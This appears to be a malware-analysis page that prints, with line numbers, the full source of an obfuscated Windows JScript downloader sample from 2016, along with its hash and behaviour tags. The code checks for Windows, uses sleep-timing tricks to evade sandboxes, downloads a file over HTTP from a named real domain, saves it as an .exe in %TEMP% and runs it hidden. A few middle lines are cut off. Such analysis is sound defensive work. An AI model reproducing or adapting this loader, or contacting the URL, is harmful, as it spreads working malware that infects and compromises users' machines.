20160328_cc3dd5bd060b8402b3292f8a15144af9.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569ea2eb6dabd54e80929c08ca238160673fc8f7fec963857d09cc5b2449889adb
Evidence
1var Pehwuv = false;
2var Gmbepdx = "CreateObject";
3var Rxbxjug = function Pilyqfpj() {return WScript[Gmbepdx]("WScript.Shell");}();
4var Pgajupn = 123213;
5var Gsrgeollvs = "MSXML2.XMLHTTP";
6var Vzauwwd = 2123213;
7var Hprcxgix = 0;
8function Yhmsryokoj(Jlffie){Rxbxjug["Run"](Jlffie, Hprcxgix, Hprcxgix);};
9function Fgihyeyzl(){return Gsrgeollvs;};
10function Eomafifp(Evapbrryv, Jolwbsqac){return Evapbrryv - Jolwbsqac;};
11function Ceyuxir(){return Gmbepdx;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Pehwuv = true;
15 @end
16@*/
17var Qyddjrpr = "";
18if (Pehwuv)
19{
20function Lrdqu(){return 22;};
21var Lchvdvdhu = 0; var Aujlhme = 0;
22function Hfvztlkg()
23{
24var Zstehhmgcl = new this["Date"]();
25var Xpkxtj = Zstehhmgcl["getUTCMilliseconds"]();
26WScript["Sleep"](Lrdqu());
27var Zstehhmgcl = new this["Date"]();
28var Sdrludq = Zstehhmgcl["getUTCMilliseconds"]();
29WScript["Sleep"](Lrdqu());
30var Zstehhmgcl = new this["Date"]();
31var Bfhguzru = Zstehhmgcl["getUTCMilliseconds"]();
32var Lchvdvdhu = "Fyabigto";
33Lchvdvdhu = Eomafifp(Sdrludq, Xpkxtj);
34var Aujlhme = "Gssoyk";
35Aujlhme = Eomafifp(Bfhguzru, Sdrludq);
36Qyddjrpr = "open";
37return Eomafifp(Lchvdvdhu, Aujlhme);
38}
39var Knorfcs = false;
40var Sskjrysd = false;
41for (var Vbgwic = Hprcxgix; Vbgwic < Lrdqu() * 1; Vbgwic++){if (Hfvztlkg() != Hprcxgix){
42Knorfcs = t …
49:2… f (Knorfcs && Udtie() && Sskjrysd){
50function Yadlhqn() {return Rxbxjug["ExpandEnvironmentStrings"]("%TEMP%/") + "QVabGYuE.exe";};
51 Gaxew = Fgihyeyzl();
52 Plmbo = WScript[Gmbepdx](Gaxew);
53 var Rttneg = 1;
54 while (Rttneg){
55try {
56Plmbo[Qyddjrpr]("GET", "http://www.europaklasse-lbk.de/p4iska", false);
57Plmbo["send"]();
58Bpubnar = "Sleep";
59do {WScript[Bpubnar](Lrdqu() * 11)} while (Plmbo["readystate"] < 4 );
60Rttneg = Hprcxgix;
61} catch(Ocjkidyv){Rttneg = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Hranvwypb(Rvwxj) {var Czemr = (1, 2, 3, 4, 5, Rvwxj); return Czemr;};
64Hhdxhyo = WScript[Ceyuxir()]("ADODB.Stream");
65Gaxew = Hhdxhyo;
66Gaxew[Qyddjrpr]();
67Gaxew["type"] = Hranvwypb(1);
68Gaxew["write"](Plmbo["ResponseBody"]);
69Hhdxhyo["position"] = Hranvwypb(Hprcxgix);
70Gaxew["SaveToFile"](Yadlhqn(), Hranvwypb(2) );
71Hhdxhyo["close"]();
72Yhmsryokoj(Yadlhqn());
73}
74}
75